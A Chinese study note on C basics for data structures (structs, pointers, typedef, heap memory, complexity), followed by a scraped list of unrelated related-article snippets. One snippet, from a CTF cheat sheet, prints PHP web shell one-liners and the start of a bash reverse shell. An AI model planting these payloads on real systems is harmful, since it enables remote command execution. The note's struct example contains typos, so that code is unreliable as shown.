[数据结构笔记]数据结构必要的C语言基础
数据结构必要的C语言基础
使用C语言学习数据结构之前有一些必要了解的基础,许多同学在初学数据结构时因为对这些知识不熟,导致了对数据结构的畏惧心理。实际上很大一部分来自C语言的基础
C语言 结构体与指针
在一些场景中,如果传递给函数的结构体很大,使用指针方式的效率通常更高。

->为(* ).的简写
类型定义
typedef 数据类型 别名
typedef int zx

作用:
- 如果后期需要修改
myType1的数据类型, 可直接修改typedef后的数据类型int为其它数据类型 - 每次声明结构体变量都要写
struct关键
字,很麻烦,而且逻辑上也很难受,typedef
可以解决这个问题。


typedef struct
{int x;int y;
}po;
int main(int argc,char const *argv[])
{po.p;//加了typedef之后, 声明结构体变量时不需要加struct关键字p.X = 5;p.y = 10;printf("%d\n",p.x);printf("%d\n",p.y);return 0;
}

平时写的代码基本都是栈内存中的
手动控制的内存是堆内存

空指针:NULL

(int*):强制类型转换- 64位和32位下
int占空间不同, 写sizeof可使代码更通用 - 使用
malloc后一定要记得free
推荐书:深入理解c指针
时间复杂度


一般只关注时间复杂度, 不关注空间复杂度
空间复杂度:除了输入数据之外, 程序在运行时空间额外的开销
ADT(Abstract Data Type )抽象数据类型
ADT 约等于设计图纸
仅需理解(不理解也没有影响)
示例:

相关文章:
[数据结构笔记]数据结构必要的C语言基础
数据结构必要的C语言基础 使用C语言学习数据结构之前有一些必要了解的基础,许多同学在初学数据结构时因为对这些知识不熟,导致了对数据结构的畏惧心理。实际上很大一部分来自C语言的基础 C语言 结构体与指针 在一些场景中,如果传递给函…...
CTF常用shell语句整理(webshell、反弹shell)
Web Shell <?php system($_GET[cmd]);?> <?php echo system($_GET[cmd]);?> <%3fphpsystem($_[cmd]);%3f> <%3fphpechosystem($_[cmd]);%3f>命令执行:访问 /?cmdwhoami. Reverse Shell <?php system(bash -i >& /dev/t…...
数据结构笔记——06树和二叉树
文章目录 一、树的基本概念1.树的定义2.树的逻辑表示方法3.树的基本术语4.树的性质5.树的基本运算6.树的存储结构1)双亲存储结构2)孩子链存储结构3)孩子兄弟链存储结构 二、二叉树的概念和性质1.二叉树的定义2.二叉树的性质3.二叉树与树、森林之间的转换1)森林、树转换为二叉树…...
蓝禾,oppo,游卡,汤臣倍健,康冠科技,作业帮,高途教育25届春招内推
蓝禾,oppo,游卡,汤臣倍健,康冠科技,作业帮,高途教育25届春招内推 ①康冠科技 【职位】算法、软件、硬件、技术,结构设计,供应链,产品,职能,商务 【…...
蓝桥杯之日期题
文章目录 1.蓝桥杯必备知识点2. 题型13.需求2 1.蓝桥杯必备知识点 蓝桥杯是一个面向全国高校计算机相关专业学生的学科竞赛,涵盖多个赛道,常见的有软件类(如 C/C 程序设计、Java 软件开发、Python 程序设计)和电子类(…...
大模型在尿潴留风险预测及围手术期方案制定中的应用研究
目录 一、引言 1.1 研究背景与意义 1.2 研究目的 1.3 研究方法与数据来源 二、大模型预测尿潴留的原理与方法 2.1 相关大模型介绍 2.2 模型构建与训练 2.3 模型评估指标与验证 三、术前尿潴留风险预测及方案制定 3.1 术前风险因素分析 3.2 大模型预测结果分析 3.3 …...
PV Elite 27是专业的压力容器和热交换器设计解决方案
Intergraph PV Elite 27是专业的压力容器和热交换器设计解决方案。提供完整的容器和热交换器的设计,分析和评估解决方案。提供的完整的容器设计和分析、交换器设计和分析、管板设计和分析、矩形和非圆形容器分析、单个组件分析、综合误差检查、鞍座/支腿/吊耳/耳轴和…...
Visual Studio 中的 /MD 与 /MT、动态库与静态库的深入解析
文章目录 1. /MD 与 /MT 的区别1.3 调试版本1.4 注意事项 2. 动态库与静态库的联系与区别2.3 联系与区别 3. 结合你的错误分析3.1 错误原因3.2 解决方案3.3 经验教训 4. 总结 在 Visual Studio 中进行 C/C 项目开发时,开发者经常需要对运行时库选项(例如…...
QT入门--QMainWindow
从上向下依次是菜单栏,工具栏,铆接部件(浮动窗口),状态栏,中心部件 菜单栏 创建菜单栏 QMenuBar* mybar1 menuBar(); 将菜单栏放到窗口中 setMenuBar(mybar1); 创建菜单 QMenu *myfilemenu mybar1-…...
深圳南柯电子|医疗设备EMC测试整改检测:零到一,保障医疗安全
在当今医疗科技飞速发展的时代,医疗设备的电磁兼容性(EMC)已成为确保其安全、有效运行的关键要素之一。EMC测试整改检测不仅关乎设备的性能稳定性,更是保障患者安全、避免电磁干扰引发医疗事故的重要措施。 一、医疗设备EMC测试整…...
【链 表】
【链表】 一级目录1. 基本概念2. 算法分析2.1 时间复杂度2.2 空间复杂度2.3 时空复杂度互换 线性表的概念线性表的举例顺序表的基本概念顺序表的基本操作1. 初始化2. 插入操作3. 删除操作4. 查找操作5. 遍历操作 顺序表的优缺点总结优点缺点 树形结构图形结构单链表基本概念链表…...
排序算法归类整理对比
以下是常见排序算法的详细分类和解析,涵盖原理、时间复杂度及适用场景: 一、比较排序算法 1. 快速排序(Quick Sort) 原理:分治策略,选取基准元素(pivot),将数组分为小于…...
前端项目部署阻止用户打开控制台
需求:在前端开发过程中,会遇到生产坏境不让用户打开控制台,防止不法分子虚假信息操作。 废话不多说一共两步,添加我们的js方法,和在全局使用这个方法。 第一步:添加我的js文件: //禁用开发者…...
一周学会Flask3 Python Web开发-Jinja2模板过滤器使用
锋哥原创的Flask3 Python Web开发 Flask3视频教程: 2025版 Flask3 Python web开发 视频教程(无废话版) 玩命更新中~_哔哩哔哩_bilibili 在Jinja2中,过滤器(filter)是一些可以用来修改和过滤变量值的特殊函数,过滤器和变量用一个竖线 | &a…...
【STM32H743IIT6】STM32H7的ADC时钟频率设置问题 —— 网上大多文章未注意到的要点!
前言 我使用的是定时器触发ADC采样。最近在想达到ADC的最高采样率的时候,发现一直却卡在1Msps上不去,直到在硬汉嵌入式的论坛里才发现了答案:[ADC] STM32H743/H750的Y版和V版芯片ADC的主频区别 这篇文章就详细的讲一下这个问题,这…...
JavaScript基础(函数及面向对象)
函数 定义函数 Java定义方法: public 返回值类型 方法名(){ return 返回值 } 定义函数方法一 eg:定义一个绝对值函数 function abs(x) {if (x>0){return x;}else {return -x;}} 调用函数: 注意:一旦执行到return代表函数…...
2025面试Go真题第一场
前几天参加了一场面试,GoLang 后端工程师,他们直接给了我 10 道题,我留了一个截图。 在看答案之前,你可以先简单做一下,下面我会对每个题目做一个说明。 文章目录 1、golang map 是否并发安全?2、协程泄漏的原因可能是…...
dockerfile基于alpine构建haproxy
1. 结构目录 [rootlocalhost ~]# tree haproxy/ haproxy/ ├── dockerfile └── files├── env.txt├── haproxy-2.5.0.tar.gz├── haproxycfg.sh├── install.sh└── sysctl.conf1 directory, 6 files [rootlocalhost ~]# 2. 编写dockerfile [rootlocalhost ~…...
【有奖实践】轻量消息队列(原 MNS)订阅 OSS 事件实时处理文件变动
当你需要对对象存储 OSS(Object Storage Service)中的文件变动进行实时处理、同步、监听、业务触发、日志记录等操作时, 你可以通过设置 OSS 的事件通知规则,自定义关注的文件,并将 OSS 事件推送到轻量消息队列&#x…...
关于Postman自动获取token
在使用postman测试联调接口时,可能每个接口都需要使用此接口生成的令牌做Authorization的Bearer Token验证,最直接的办法可能会是一步一步的点击,如下图: 在Authorization中去选择Bearer Token,然后将获取到的token粘贴…...
Baklib知识中台构建企业智慧中枢
智能技术架构构建路径 Baklib知识中台的技术架构设计以模块化和可扩展性为核心,通过分层解耦的架构体系实现知识管理的全流程覆盖。底层依托智能语义分析引擎与多模态知识图谱,完成非结构化数据的自动清洗与语义关联;中间层构建统一的知识资…...
解决安卓recyclerView滚到底部不彻底问题
问题分析: 传统recycleview滚到到底部方式scrollToPosition(lastpositon),只能定位到最后一条数据的顶部。由于数据过长,无法滚动到最底部。 问了下deepseek,给了个方案: private void recyclerViewScrollToBottom()…...
python unzip file
要在 Python 中解压文件并显示进度,我们需要在解压过程中跟踪文件的提取进度。由于 zipfile 模块本身不直接支持进度显示,我们可以通过手动计算并使用 tqdm 库来显示进度条。 安装 tqdm 首先,确保你已经安装了 tqdm 库,用于显示…...
Elasticsearch索引设计与分片策略深度优化-手记
一、索引设计的黄金法则(从踩坑到精通的必经之路) 1. 字段类型显式声明原则 动态映射是新手最易踩的坑,某金融平台曾因金额字段被自动识别为text类型,导致聚合查询时触发OOM。正确做法应显式声明核心字段: PUT /fin…...
StepAudio:语音大模型
Step-Audio 是业界首个集语音理解与生成控制一体化的产品级开源实时语音对话系统,支持多语言对话(如 中文,英文,日语),语音情感(如 开心,悲伤),方言ÿ…...
监听其他音频播放时暂停正在播放的音频
要实现当有其他音频播放时暂停当前音频,你可以使用全局事件总线或 Vuex 来管理音频播放状态。这里我将展示如何使用一个简单的事件总线来实现这个功能。 首先,你需要创建一个事件总线。你可以在项目的一个公共文件中创建它,例如 eventBus.js…...
Kafka可视化工具EFAK(Kafka-eagle)安装部署
Kafka Eagle是什么? Kafka Eagle是一款用于监控和管理Apache Kafka的开源系统,它提供了完善的管理页面,例如Broker详情、性能指标趋势、Topic集合、消费者信息等。 源代码地址:https://github.com/smartloli/kafka-eagle 前置条件…...
[Web 安全] PHP 反序列化漏洞 —— PHP 反序列化漏洞演示案例
关注这个专栏的其他相关笔记:[Web 安全] 反序列化漏洞 - 学习笔记-CSDN博客 PHP 反序列化漏洞产生原因 PHP 反序列化漏洞产生的原因就是因为在反序列化过程中,unserialize() 接收的值可控。 0x01:环境搭建 这里笔者是使用 PhpStudy 搭建的环…...
2.部署kafka:9092
官方文档:http://kafka.apache.org/documentation.html (虽然kafka中集成了zookeeper,但还是建议使用独立的zk集群) Kafka3台集群搭建环境: 操作系统: centos7 防火墙:全关 3台zookeeper集群内的机器,1台logstash 软件版本: …...
springboot博客系统详解与实现(后端实现)
目录 前言: 项目介绍 一、项目的准备工作 1.1 数据准备 1.2 项目创建 1.3 前端页面的准备 1.4 配置配置文件 二、公共模块 2.1 根据需求完成公共层代码的编写 2.1.1 定义业务状态枚举 2.1.2 统一返回结果 2.1.3 定义项目异常 2.1.4 统一异常处理 三、业…...
